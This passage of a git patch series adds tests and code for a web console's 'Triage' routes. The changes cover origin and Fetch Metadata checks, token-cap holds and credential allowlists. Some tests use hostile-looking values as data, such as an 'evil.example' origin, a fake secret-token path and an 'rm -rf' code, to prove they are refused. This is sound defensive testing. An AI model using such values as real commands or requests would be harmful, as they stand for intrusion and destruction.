triage }); + assert.equal((await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, origin: 'http://evil.example' }, body: { text: 'hi' } })).status, 403); + const crossSite = await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, 'sec-fetch-site': 'cross-site' }, body: { text: 'hi' } }); + assert.deepEqual([crossSite.status, crossSite.json], [403, { error: 'cross-site request refused' }]); + const noMeta = { ...f.headers }; delete noMeta['sec-fetch-site']; + const missing = await send(f.port, '/api/triage/message', { method: 'POST', headers: noMeta, body: { text: 'hi' } }); + assert.deepEqual([missing.status, missing.json], [403, { error: 'cross-site request refused' }]); + assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []); +}); + +test('a malformed body is refused before the host sees it; the host refusals map to fixed answers with no leaked text', async t => { + let next = null; + const triage = fakeTriage({ message: () => { throw next; } }); + const f = await devServer(t, { triage }); + const post = (body, headers = f.headers) => send(f.port, '/api/triage/message', { method: 'POST', headers, body }); + for (const body of [{ text: 'hi', extra: 1 }, { text: 5 }, {}, [], '{"text":', `{"text":"${'x'.repeat(17000)}"}`]) + assert.deepEqual((await post(body)).json, { error: 'invalid-request', message: 'the request is not a Triage message' }, JSON.stringify(body).slice(0, 40)); + assert.equal((await post({ text: 'hi' }, { ...f.headers, 'content-type': 'text/plain' })).status, 400); + assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []); + next = Object.assign(new TriageError('triage-over-cap', LEAK), { until: '2026-11-17T00:00:00.000Z' }); + const cap = await post({ text: 'hi' }); + assert.deepEqual([cap.status, cap.json], [429, { error: 'triage-over-cap', message: 'Triage is over its daily token cap and starts again after the time shown', until: '2026-11-17T00:00:00.000Z' }]); + next = new TriageError('triage-no-route', LEAK); + const none = await post({ text: 'hi' }); + assert.deepEqual([none.status, none.json], [409, { error: 'triage-no-route', message: NO_ROUTE_MESSAGE }]); + next = new TriageError('triage-message-too-long', LEAK); + assert.equal((await post({ text: 'hi' })).status, 400); + next = new TriageError('triage-busy', LEAK); + assert.equal((await post({ text: 'hi' })).status, 429); + next = Object.assign(new Error(LEAK), { code: 'EACCES' }); + const odd = await post({ text: 'hi' }); + assert.deepEqual([odd.status, odd.json], [503, { error: 'outcome-unknown', message: 'Triage did not answer' }]); + for (const r of [cap, none, odd]) assert.equal(r.text.includes('/home/'), false); + assert.equal(f.logs.join('\n').includes('/home/'), false); +}); + +test('a signed-out caller and a granted user get the unknown-route answer on both routes', async t => { + const access = { accessVersion: 1, revision: 1, + users: [{ id: 'alice', home: 'local', subjects: [{ provider: 'writer', sub: 'alice-sub' }] }], + grants: [{ id: 'g-1', user: 'alice', business: 'demo', projects: ['*'], instances: ['*'], level: 'collaborator' }] }; + const auth = await createSsoSession(t, { host: 'console.example', users: consoleAccess({ load: () => access, business: () => 'demo' }) }); + const triage = fakeTriage(); + const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, userOptions: () => ({}), log: () => {} }); + t.after(() => new Promise(r => s.close(r))); + const port = s.address().port; + const owner = auth.writeHeaders(await auth.signIn(port)); + assert.equal((await send(port, '/api/triage', { headers: owner })).status, 200, 'the SSO root owner reaches the read'); + assert.equal((await send(port, '/api/triage/message', { method: 'POST', headers: owner, body: { text: 'hi' } })).status, 202, 'and the write'); + const before = triage.calls.length; + const signedOut = auth.writeHeaders(null); + const alice = auth.writeHeaders(await auth.signIn(port, { sub: 'alice-sub' })); + for (const [path, method] of EVERY) { + await sameAsUnknown(port, path, method, signedOut, method === 'POST' ? { text: 'hi' } : undefined, 'signed out'); + await sameAsUnknown(port, path, method, alice, method === 'POST' ? { text: 'hi' } : undefined, 'granted user'); + } + assert.equal((await send(port, '/api/triage', { headers: signedOut })).status, 401); + assert.equal(Object.hasOwn((await send(port, '/api/config', { headers: alice })).json, 'triage'), false); + assert.equal(triage.calls.length, before, 'the host saw nothing from them'); +}); + +test('without a host, on a loopback Host under --sso, and on the tester listener the routes are unknown', async t => { + const none = await devServer(t); + for (const [path, method] of EVERY) await sameAsUnknown(none.port, path, method, none.headers, method === 'POST' ? { text: 'hi' } : undefined, 'no host'); + assert.equal(Object.hasOwn((await send(none.port, '/api/config', { headers: { host: none.headers.host } })).json, 'triage'), false); + const auth = await createSsoSession(t, { host: 'console.example' }); + const triage = fakeTriage(); + const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, log: () => {} }); + t.after(() => new Promise(r => s.close(r))); + const port = s.address().port; + const cookie = await auth.signIn(port); + const loop = { host: `127.0.0.1:${port}`, cookie, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' }; + for (const [path, method] of EVERY) await sameAsUnknown(port, path, method, loop, method === 'POST' ? { text: 'hi' } : undefined, 'loopback Host'); + const { startTesterSocket } = await import('../src/tester-socket.mjs'); + const { testerRequest } = await import('../../cli/src/tester-http.mjs'); + const root = mkdtempSync(join(process.env.TMPDIR, 'th-')); + const ts = await startTesterSocket({ dataRoot: root, triage, log: () => {} }); + t.after(() => new Promise(r => ts.close(r))); + for (const [path, method] of EVERY) { + const body = method === 'POST' ? { text: 'hi' } : undefined; + const a = await testerRequest({ dataRoot: root, path, method, body }); + const b = await testerRequest({ dataRoot: root, path: path.replace('/api/triage', '/api/triagz'), method, body }); + assert.equal(a.status, b.status, `tester ${method} ${path}`); + } + assert.deepEqual(triage.calls, []); +}); + +test('the read refreshes a missing or stale snapshot and keeps a fresh one', async () => { + let at = null, clock = 1_000_000; + const calls = []; + const triage = { snapshotAt: () => at, refresh: async () => { calls.push(clock); at = clock; }, state: async () => ({ route: 'not set', running: false, lastExit: null, snapshot: null, transcript: [] }) }; + const view = await triageView(triage, { send: true, now: () => clock }); + assert.deepEqual(view, { route: 'not set', routeMessage: NO_ROUTE_MESSAGE, running: false, lastExit: null, snapshot: null, transcript: [], send: true }); + clock += SNAPSHOT_MAX_AGE_MS - 1; await triageView(triage, { now: () => clock }); + clock += 2; await triageView(triage, { now: () => clock }); + assert.deepEqual(calls, [1_000_000, 1_000_000 + SNAPSHOT_MAX_AGE_MS + 1]); +}); + +test('with the real host and no route: the read says so in plain words, the write refuses, nothing launches or is written', async t => { + const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data'); + const host = createTriageHost({ dataRoot, readSnapshot: async () => ({ snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' }), bwrap: '/nonexistent/bwrap' }); + const f = await devServer(t, { triage: host }); + const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } }); + assert.equal(read.status, 200); + assert.equal(read.json.route, 'not set'); + assert.equal(read.json.routeMessage, NO_ROUTE_MESSAGE); + assert.deepEqual(read.json.snapshot, { snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' }); + const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } }); + assert.deepEqual([sent.status, sent.json.error], [409, 'triage-no-route']); + assert.equal(host.running, false); + assert.equal(existsSync(host.paths.transcript), false, 'a refused message is not written'); + assert.equal(JSON.parse(readFileSync(join(host.paths.health, 'snapshot.json'), 'utf8')).snapshotVersion, 1, 'the read wrote the snapshot'); +}); + +test('the route module keeps its own write checks when called alone: --send, one exact Origin, one same-origin Fetch Metadata', async () => { + const triage = fakeTriage(); + const call = async (headers, { send = true } = {}) => { + const distinct = Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()])); + const req = { method: 'POST', headers: Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()[0]])), headersDistinct: distinct, + async *[Symbol.asyncIterator]() { yield Buffer.from('{"text":"hi"}'); } }; + let status = null, body = ''; + const res = { writeHead: s => { status = s; }, end: b => { body = b; } }; + await triageHTTP(req, res, { path: '/api/triage/message', triage, send, origin: 'https://console.example' }); + return [status, JSON.parse(body).error ?? 'ok']; + }; + const good = { origin: 'https://console.example', 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' }; + assert.deepEqual(await call(good, { send: false }), [403, 'read-only']); + assert.deepEqual(await call({ ...good, origin: 'https://evil.example' }), [403, 'cross-origin request refused']); + assert.deepEqual(await call({ ...good, origin: ['https://console.example', 'https://console.example'] }), [403, 'cross-origin request refused']); + const { origin, ...noOrigin } = good; + assert.deepEqual(await call(noOrigin), [403, 'cross-origin request refused']); + assert.deepEqual(await call({ ...good, 'sec-fetch-site': ['same-origin', 'same-origin'] }), [403, 'cross-site request refused']); + assert.deepEqual(triage.calls, []); + assert.deepEqual(await call(good), [202, 'ok']); +}); -- 2.54.0 From 9eed814d3ccf872a9b515c4e2b79338c8c9cbd49 Mon Sep 17 00:00:00 2001 From: Jason Woltje Date: Mon, 16 Nov 2026 12:11:32 -0600 Subject: [PATCH 4/7] feat(webui): triage cap, the host holds the route's over-cap answer until its time (at most two days ahead, ISO only) and refuses without asking again; the read shows overCapUntil and a plain cap message (#1873, lane triage-host) --- packages/webui/src/triage-host.mjs | 20 +++++++++++++++- packages/webui/src/triage-http.mjs | 3 +++ packages/webui/tests/triage-host.test.mjs | 28 +++++++++++++++++++++-- packages/webui/tests/triage-http.test.mjs | 21 ++++++++++++++--- 4 files changed, 66 insertions(+), 6 deletions(-) diff --git a/packages/webui/src/triage-host.mjs b/packages/webui/src/triage-host.mjs index c36956371..2f3edfff0 100644 --- a/packages/webui/src/triage-host.mjs +++ b/packages/webui/src/triage-host.mjs @@ -40,6 +40,9 @@ export const RELAY_REFUSED = "triage-refused"; export const MESSAGE_MAX = 4000; export const TRANSCRIPT_KEEP = 200; export const QUEUE_MAX = 20; +// An over-cap answer is held for at most this long; a later time is not taken. +export const CAP_HOLD_MAX_MS = 48 * 3600 * 1000; +const ISO_TIME = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{1,3})?Z$/; const LINE_MAX = 64 * 1024; const CAP = /^[0-9a-f]{64}$/; @@ -188,6 +191,7 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async let starting = null; let lastExit = null; let cap = null; + let overCapUntil = null; // the route's over-cap answer, held until its time passes const queue = []; const ensureDirs = () => { @@ -311,13 +315,26 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async }); }; + // The cap is the route's to count. Once it answers over the cap with a time in the next two days, + // the host refuses without asking again until that time, so a later answer cannot reopen the day. + const capUntil = () => { + if (overCapUntil !== null && Date.parse(overCapUntil) <= now().getTime()) overCapUntil = null; + return overCapUntil; + }; const admit = async () => { if (!route || typeof route.admit !== "function") return { ok: false, code: "triage-no-route" }; + const held = capUntil(); + if (held !== null) return { ok: false, code: "triage-over-cap", until: held }; let a; try { a = await route.admit(); } catch { return { ok: false, code: "triage-route-unreadable" }; } if (a?.ok === true) return a; const code = ["triage-no-route", "triage-over-cap"].includes(a?.code) ? a.code : "triage-route-refused"; - return { ok: false, code, ...(typeof a?.until === "string" ? { until: a.until } : {}) }; + if (code !== "triage-over-cap") return { ok: false, code }; + const until = typeof a.until === "string" && ISO_TIME.test(a.until) ? Date.parse(a.until) : NaN; + const ahead = until - now().getTime(); + if (!(ahead > 0 && ahead <= CAP_HOLD_MAX_MS)) return { ok: false, code }; + overCapUntil = new Date(until).toISOString(); + return { ok: false, code, until: overCapUntil }; }; return { @@ -328,6 +345,7 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async async state() { return { route: this.routeSet() ? "set" : "not set", + overCapUntil: capUntil(), running: child !== null, lastExit, snapshot: last, diff --git a/packages/webui/src/triage-http.mjs b/packages/webui/src/triage-http.mjs index 19ebc67eb..b43c72076 100644 --- a/packages/webui/src/triage-http.mjs +++ b/packages/webui/src/triage-http.mjs @@ -9,6 +9,7 @@ export const TRIAGE_PATHS = Object.freeze(["/api/triage", "/api/triage/message"] export const BODY_MAX = 16384; // A read refreshes the snapshot when the one it holds is older than this. export const SNAPSHOT_MAX_AGE_MS = 30000; +export const capMessage = until => `Triage is over its daily token cap. It takes messages again at ${until}.`; export const NO_ROUTE_MESSAGE = "No model route is set for Triage, so Triage will not start. The instance owner sets the route first."; const STATUS = Object.freeze({ @@ -66,6 +67,8 @@ export async function triageView(triage, { send, now = Date.now } = {}) { return { route: s.route, ...(s.route === "set" ? {} : { routeMessage: NO_ROUTE_MESSAGE }), + overCapUntil: s.overCapUntil ?? null, + ...(s.overCapUntil ? { capMessage: capMessage(s.overCapUntil) } : {}), running: s.running, lastExit: s.lastExit, snapshot: s.snapshot, diff --git a/packages/webui/tests/triage-host.test.mjs b/packages/webui/tests/triage-host.test.mjs index 6b61207b3..f938faa14 100644 --- a/packages/webui/tests/triage-host.test.mjs +++ b/packages/webui/tests/triage-host.test.mjs @@ -105,12 +105,36 @@ test("no model route: nothing launches, the message is refused, and the state sa }); test("over the cap: the message is refused until the next day and nothing launches", async (t) => { - const route = { admit: async () => ({ ok: false, code: "triage-over-cap", until: "2026-11-17T00:00:00.000Z" }) }; - const { h, dataRoot } = host(t, scratch(), { route }); + let clock = Date.parse("2026-11-16T15:00:00.000Z"), asked = 0, answer = { ok: false, code: "triage-over-cap", until: "2026-11-17T00:00:00.000Z" }; + const route = { admit: async () => { asked++; return answer; } }; + const { h, dataRoot } = host(t, scratch(), { route, now: () => new Date(clock) }); assert.equal((await h.state()).route, "set"); + assert.equal((await h.state()).overCapUntil, null); await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z"); assert.equal(h.running, false); assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false); + assert.equal((await h.state()).overCapUntil, "2026-11-17T00:00:00.000Z"); + // Held: a later route answer cannot reopen the day; the route is not asked again before the time. + answer = { ok: false, code: "triage-no-route" }; + clock = Date.parse("2026-11-16T23:59:59.000Z"); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z"); + assert.equal(asked, 1); + // At the time, the hold ends and the route is asked again. + clock = Date.parse("2026-11-17T00:00:00.000Z"); + assert.equal((await h.state()).overCapUntil, null); + await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route"); + assert.equal(asked, 2); + assert.deepEqual((await h.state()).transcript, [], "a refused message is never written"); + // An over-cap answer whose time is not usable (past, too far, not an ISO time) refuses without a hold. + for (const until of ["2026-11-17T00:00:00.000Z", "2026-11-20T00:00:00.000Z", "Tue, 17 Nov 2026 12:00:00 GMT", "tomorrow", 5]) { + let n = 0; + const r = { admit: async () => { n++; return { ok: false, code: "triage-over-cap", until }; } }; + const later = host(t, scratch(), { route: r, now: () => new Date("2026-11-17T01:00:00.000Z") }).h; + await assert.rejects(later.message("a"), (e) => e.code === "triage-over-cap" && e.until === undefined, String(until)); + await assert.rejects(later.message("b"), (e) => e.code === "triage-over-cap"); + assert.equal(n, 2, `${until}: not held`); + assert.equal((await later.state()).overCapUntil, null); + } const odd = { admit: async () => ({ ok: false, code: "rm -rf", until: 5 }) }; const other = host(t, scratch(), { route: odd }).h; await assert.rejects(other.message("hello"), (e) => e.code === "triage-route-refused" && e.until === undefined); diff --git a/packages/webui/tests/triage-http.test.mjs b/packages/webui/tests/triage-http.test.mjs index 54b66ba37..afe9e9302 100644 --- a/packages/webui/tests/triage-http.test.mjs +++ b/packages/webui/tests/triage-http.test.mjs @@ -10,7 +10,7 @@ import { startServer } from '../src/serve.mjs'; import { createDevOwner } from '../src/dev-owner.mjs'; import { consoleAccess } from '../src/access.mjs'; import { createSsoSession } from './helpers/sso-session.mjs'; -import { NO_ROUTE_MESSAGE, triageView, triageHTTP, SNAPSHOT_MAX_AGE_MS } from '../src/triage-http.mjs'; +import { NO_ROUTE_MESSAGE, capMessage, triageView, triageHTTP, SNAPSHOT_MAX_AGE_MS } from '../src/triage-http.mjs'; import { createTriageHost, TriageError } from '../src/triage-host.mjs'; const LEAK = '/home/owner/.config/mosaic-dev/secret-token-0123456789'; @@ -56,7 +56,7 @@ test('the dev local owner reads the drawer state and sends a message; the config const f = await devServer(t, { triage }); const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } }); assert.equal(read.status, 200); - assert.deepEqual(read.json, { route: 'set', running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }], send: true }); + assert.deepEqual(read.json, { route: 'set', overCapUntil: null, running: false, lastExit: null, snapshot: { snapshotVersion: 1 }, transcript: [{ at: 't', from: 'owner', id: 'owner-1', text: 'hi' }], send: true }); const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'why is alpha down?' } }); assert.equal(sent.status, 202); assert.deepEqual(sent.json, { id: 'owner-abc', at: '2026-11-16T00:00:00.000Z' }); @@ -169,12 +169,27 @@ test('the read refreshes a missing or stale snapshot and keeps a fresh one', asy const calls = []; const triage = { snapshotAt: () => at, refresh: async () => { calls.push(clock); at = clock; }, state: async () => ({ route: 'not set', running: false, lastExit: null, snapshot: null, transcript: [] }) }; const view = await triageView(triage, { send: true, now: () => clock }); - assert.deepEqual(view, { route: 'not set', routeMessage: NO_ROUTE_MESSAGE, running: false, lastExit: null, snapshot: null, transcript: [], send: true }); + assert.deepEqual(view, { route: 'not set', routeMessage: NO_ROUTE_MESSAGE, overCapUntil: null, running: false, lastExit: null, snapshot: null, transcript: [], send: true }); clock += SNAPSHOT_MAX_AGE_MS - 1; await triageView(triage, { now: () => clock }); clock += 2; await triageView(triage, { now: () => clock }); assert.deepEqual(calls, [1_000_000, 1_000_000 + SNAPSHOT_MAX_AGE_MS + 1]); }); +test('over the cap: the read names the time in plain words and the write answers 429 with it', async t => { + const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data'); + const route = { admit: async () => ({ ok: false, code: 'triage-over-cap', until: '2026-11-17T00:00:00.000Z' }) }; + const host = createTriageHost({ dataRoot, route, readSnapshot: async () => null, now: () => new Date('2026-11-16T20:00:00.000Z'), bwrap: '/nonexistent/bwrap' }); + const f = await devServer(t, { triage: host }); + const before = await send(f.port, '/api/triage', { headers: { host: f.headers.host } }); + assert.deepEqual([before.json.route, before.json.overCapUntil, Object.hasOwn(before.json, 'capMessage')], ['set', null, false]); + const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } }); + assert.deepEqual([sent.status, sent.json.error, sent.json.until], [429, 'triage-over-cap', '2026-11-17T00:00:00.000Z']); + const after = await send(f.port, '/api/triage', { headers: { host: f.headers.host } }); + assert.equal(after.json.overCapUntil, '2026-11-17T00:00:00.000Z'); + assert.equal(after.json.capMessage, capMessage('2026-11-17T00:00:00.000Z')); + assert.equal(host.running, false); +}); + test('with the real host and no route: the read says so in plain words, the write refuses, nothing launches or is written', async t => { const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data'); const host = createTriageHost({ dataRoot, readSnapshot: async () => ({ snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' }), bwrap: '/nonexistent/bwrap' }); -- 2.54.0 From fe6c22e0f2443ca63e8b9aa8486b7050a8327a95 Mon Sep 17 00:00:00 2001 From: Jason Woltje Date: Mon, 16 Nov 2026 12:56:32 -0600 Subject: [PATCH 5/7] fix(webui): triage-host review, the owner reaches the routes on an organizations Console, a second start answers, an unanswered or undelivered message gets a host line and leaves the queue (#1873, lane triage-host) P1-1: the organizations branch lets the instance owner's own session through to the two Triage paths; everyone else still gets this Console's unknown /api/ answer. P1-2: each start clears turns/, so the runner's numbered turn files do not collide on restart. P2-1: on exit, a message the session took and never marked read leaves the queue with a host line. P2-2: member, signed-out, organizations-Console and org-selected route tests. P3-1: bus-start cards carry --dev-local-owner on a dev local owner Console. P3-2: a failed start writes a host line; the queue index is guarded. P3-3: one shared refresh, a unique temp name per write, four organizations read at a time. P3-4: the restart path waits for stop() inside its two-second exit. P3-5: ANTHROPIC_API_KEY no longer passes from the route. --- packages/webui/src/cli.mjs | 8 ++- packages/webui/src/serve.mjs | 5 +- packages/webui/src/triage-cards.mjs | 11 +-- packages/webui/src/triage-host.mjs | 35 +++++++--- packages/webui/src/triage-snapshot.mjs | 18 ++++- packages/webui/tests/triage-cards.test.mjs | 8 +++ packages/webui/tests/triage-host.test.mjs | 67 ++++++++++++++++++- packages/webui/tests/triage-http.test.mjs | 33 +++++++++ packages/webui/tests/triage-snapshot.test.mjs | 13 +++- 9 files changed, 173 insertions(+), 25 deletions(-) diff --git a/packages/webui/src/cli.mjs b/packages/webui/src/cli.mjs index 2c59adf98..3986214b1 100644 --- a/packages/webui/src/cli.mjs +++ b/packages/webui/src/cli.mjs @@ -233,7 +233,7 @@ try { // Nothing starts here; the owner's first message starts it. No model route store exists without a // schema change, so none is wired: the read says no route is set and nothing launches. const triage = system && (devOwner || ssoOn) ? createTriageHost({ - dataRoot: system.dataRoot, route: null, log: line => console.log(line), + dataRoot: system.dataRoot, route: null, devOwner: Boolean(devOwner), log: line => console.log(line), readSnapshot: () => composeSnapshot({ orgs: () => listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance }), busStatus: id => orgBusStatus({ configDir: configDir(), dataRoot: system.dataRoot, instance }, id), @@ -251,9 +251,11 @@ try { // F3: the restart route closes every listener and connection, then exits RESTART_EXIT for the // supervisor to relaunch. Without --supervised the route answers not-supervised. const restart = supervised ? () => { - sso?.close(); testerServer?.close(); triage?.stop(); + sso?.close(); testerServer?.close(); + // The Triage session gets SIGTERM now and SIGKILL before the 2 s exit below. + const triageStopped = triage ? triage.stop({ graceMs: 1500 }) : Promise.resolve(); setTimeout(() => process.exit(RESTART_EXIT), 2000).unref(); - server.close(() => process.exit(RESTART_EXIT)); + server.close(() => triageStopped.finally(() => process.exit(RESTART_EXIT))); server.closeAllConnections(); } : null; const trail = system ? actionTrail(join(system.dataRoot, 'console')) : null; diff --git a/packages/webui/src/serve.mjs b/packages/webui/src/serve.mjs index 611e34c8f..aadf23ba3 100644 --- a/packages/webui/src/serve.mjs +++ b/packages/webui/src/serve.mjs @@ -936,7 +936,10 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF if (match) { orgId = match[1]; path = `/api/${match[2]}`; - } else if (!orgList && path !== '/api/config' && !hook) { + } else if (!orgList && path !== '/api/config' && !hook + // #1873 triage-host: the Triage routes pass only for the instance owner's own session on the + // public name; every other caller gets this Console's unknown /api/ answer. The gate below checks again. + && !(triage && TRIAGE_PATHS.includes(path) && !tester && named && sso !== null && sso.session(req)?.rootOwner === true)) { return json(res, 404, { error: 'org-unavailable' }); } } diff --git a/packages/webui/src/triage-cards.mjs b/packages/webui/src/triage-cards.mjs index 03c29bc91..1233cf4af 100644 --- a/packages/webui/src/triage-cards.mjs +++ b/packages/webui/src/triage-cards.mjs @@ -8,7 +8,8 @@ import { ID_PATTERN } from "../../organization/src/vocabulary.mjs"; export const CARD_STEPS = Object.freeze({ - "bus-start": (org) => `mosaic bus start ${org} --detach`, + // On a --dev-local-owner Console the bus starts in that mode, as the Organization page's own step says. + "bus-start": (org, { devOwner = false } = {}) => `mosaic bus start ${org}${devOwner === true ? " --dev-local-owner" : ""} --detach`, "bus-restart": (org) => `mosaic bus restart ${org}`, "bus-recover": (org) => `mosaic bus recover ${org}`, "bus-stop": (org) => `mosaic bus stop ${org}`, @@ -26,18 +27,18 @@ export function plainText(value, max = MAX_TEXT) { } // One card, or null. orgIds is the set of registry ids the snapshot read. -export function validateCard(card, orgIds) { +export function validateCard(card, orgIds, opts = {}) { if (!card || typeof card !== "object" || Array.isArray(card) || Object.getPrototypeOf(card) !== Object.prototype) return null; const keys = Object.keys(card); if (keys.length !== 2 || !keys.includes("step") || !keys.includes("org")) return null; const { step, org } = card; if (typeof step !== "string" || !Object.hasOwn(CARD_STEPS, step)) return null; if (typeof org !== "string" || !ID_PATTERN.test(org) || !orgIds?.has?.(org)) return null; - return { step, org, command: CARD_STEPS[step](org) }; + return { step, org, command: CARD_STEPS[step](org, opts) }; } // The reply split into its plain text and the cards the server keeps. -export function extractCards(reply, orgIds) { +export function extractCards(reply, orgIds, opts = {}) { const source = typeof reply === "string" ? reply : ""; const cards = []; let dropped = 0; @@ -47,7 +48,7 @@ export function extractCards(reply, orgIds) { try { parsed = JSON.parse(body); } catch { dropped += 1; return ""; } const list = Array.isArray(parsed) ? parsed : [parsed]; for (const item of list) { - const card = validateCard(item, orgIds); + const card = validateCard(item, orgIds, opts); const key = card && `${card.step} ${card.org}`; if (!card || seen.has(key) || cards.length >= MAX_CARDS) { dropped += 1; continue; } seen.add(key); diff --git a/packages/webui/src/triage-host.mjs b/packages/webui/src/triage-host.mjs index 2f3edfff0..a6da8231c 100644 --- a/packages/webui/src/triage-host.mjs +++ b/packages/webui/src/triage-host.mjs @@ -40,6 +40,8 @@ export const RELAY_REFUSED = "triage-refused"; export const MESSAGE_MAX = 4000; export const TRANSCRIPT_KEEP = 200; export const QUEUE_MAX = 20; +export const UNANSWERED = "Triage stopped before it answered this message. Send it again."; +export const NOT_STARTED = "Triage did not start, so this message was not delivered."; // An over-cap answer is held for at most this long; a later time is not taken. export const CAP_HOLD_MAX_MS = 48 * 3600 * 1000; const ISO_TIME = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{1,3})?Z$/; @@ -49,7 +51,7 @@ const CAP = /^[0-9a-f]{64}$/; // The spawn's environment: these names from the Console's own environment, PATH fixed, and the // route's proxy variables. bwrap sets HOME and TMPDIR inside. export const SPAWN_ENV_ALLOW = Object.freeze(["PATH", "LANG", "LC_ALL", "TZ", "TERM"]); -export const ROUTE_ENV_ALLOW = Object.freeze(["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_API_KEY"]); +export const ROUTE_ENV_ALLOW = Object.freeze(["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]); const ENV_NAME = /^[A-Z][A-Z0-9_]{0,63}$/; const deniedHarnessName = (k) => !ENV_NAME.test(k) || k === "MOSAIC_CONFIG" || k.startsWith("MOSAIC_BUS_") || FOUNDER_ENV.includes(k) || k === "SSH_AUTH_SOCK"; @@ -174,12 +176,12 @@ export function createRelay({ socket, cap, take, read, onSend, log = () => {} }) }); } -// createTriageHost({ dataRoot, route, readSnapshot, env, node, bwrap, now, log }) +// createTriageHost({ dataRoot, route, readSnapshot, env, node, bwrap, now, devOwner, log }) // route { admit() -> { ok: true, adapter, harness, harnessEnv, harnessMounts, turnEnd, model, // provider, env } | { ok: false, code, until? } } or null for no route // readSnapshot async () -> the snapshot (triage-snapshot.mjs composeSnapshot), written to health/ // pollInterval the runner's receive interval in ms, for tests; the runner's default otherwise -export function createTriageHost({ dataRoot, route = null, readSnapshot = async () => null, env = process.env, node = process.execPath, bwrap = BWRAP, now = () => new Date(), log = () => {}, roleDir = join(REPO, "roles"), readOnly = [], pollInterval = null }) { +export function createTriageHost({ dataRoot, route = null, readSnapshot = async () => null, env = process.env, node = process.execPath, bwrap = BWRAP, now = () => new Date(), devOwner = false, log = () => {}, roleDir = join(REPO, "roles"), readOnly = [], pollInterval = null }) { if (typeof dataRoot !== "string" || !dataRoot.startsWith("/")) throw new TriageError("triage-no-data-root", "no data root"); const paths = triagePaths(dataRoot); const role = JSON.parse(readFileSync(join(roleDir, "triage.json"), "utf8")); @@ -223,7 +225,9 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async const orgIds = () => new Set(Array.isArray(last?.organizations?.list) ? last.organizations.list.map((o) => o.id) : []); - const refresh = async () => { + // One refresh at a time: a read and a message that arrive together share it. + let refreshing = null; + const refresh = () => refreshing ??= (async () => { ensureDirs(); let snap = null; try { snap = await readSnapshot(); } catch { snap = null; } @@ -233,13 +237,15 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async lastAt = now().getTime(); } return last; - }; + })().finally(() => { refreshing = null; }); const writeBundle = (admitted) => { const a = paths.agent; for (const d of ["bundle", "tmp", "work", "home"]) freshDir(join(a, d)); mkdirSync(join(a, "work", "health"), { mode: 0o700 }); - for (const f of ["session.json", "relay.sock", "tools.sock", "turn.done"]) rmSync(join(a, f), { recursive: true, force: true }); + // turns/ goes too: the runner numbers turns from 1 and opens each turn file exclusively, so a + // turns/ left by the last run stops the next one at its first turn. + for (const f of ["session.json", "relay.sock", "tools.sock", "turn.done", "turns"]) rmSync(join(a, f), { recursive: true, force: true }); // The session's history stays across starts, unless the session put something other than a // real directory there. try { realDir(join(a, "session")); } catch { freshDir(join(a, "session")); } @@ -288,7 +294,7 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async if (i >= 0) queue.splice(i, 1); }, onSend: ({ body, in_reply_to }) => { - const { text, cards, dropped } = extractCards(body, orgIds()); + const { text, cards, dropped } = extractCards(body, orgIds(), { devOwner: devOwner === true }); append({ at: now().toISOString(), from: "triage", text, cards, dropped, ...(in_reply_to ? { in_reply_to } : {}) }); }, log, @@ -309,6 +315,13 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async if (child !== mine) return; lastExit = { code: Number.isInteger(code) ? code : null, signal: signal ?? null, at: now().toISOString() }; child = null; + // A message the session took and never marked read was not answered. It leaves the queue, so + // it holds no slot, and the transcript says so; a message it never took waits for the next start. + for (let i = queue.length - 1; i >= 0; i--) { + if (!queue[i].delivered) continue; + const [m] = queue.splice(i, 1); + try { append({ at: now().toISOString(), from: "host", in_reply_to: m.id, text: UNANSWERED }); } catch { log("triage host: transcript write failed"); } + } relay?.close(); relay = null; rmSync(join(paths.agent, "relay.sock"), { force: true }); @@ -372,7 +385,9 @@ export function createTriageHost({ dataRoot, route = null, readSnapshot = async starting ??= start(admitted).finally(() => { starting = null; }); try { await starting; } catch (e) { - queue.splice(queue.findIndex((m) => m.id === id), 1); + const i = queue.findIndex((m) => m.id === id); + if (i >= 0) queue.splice(i, 1); + try { 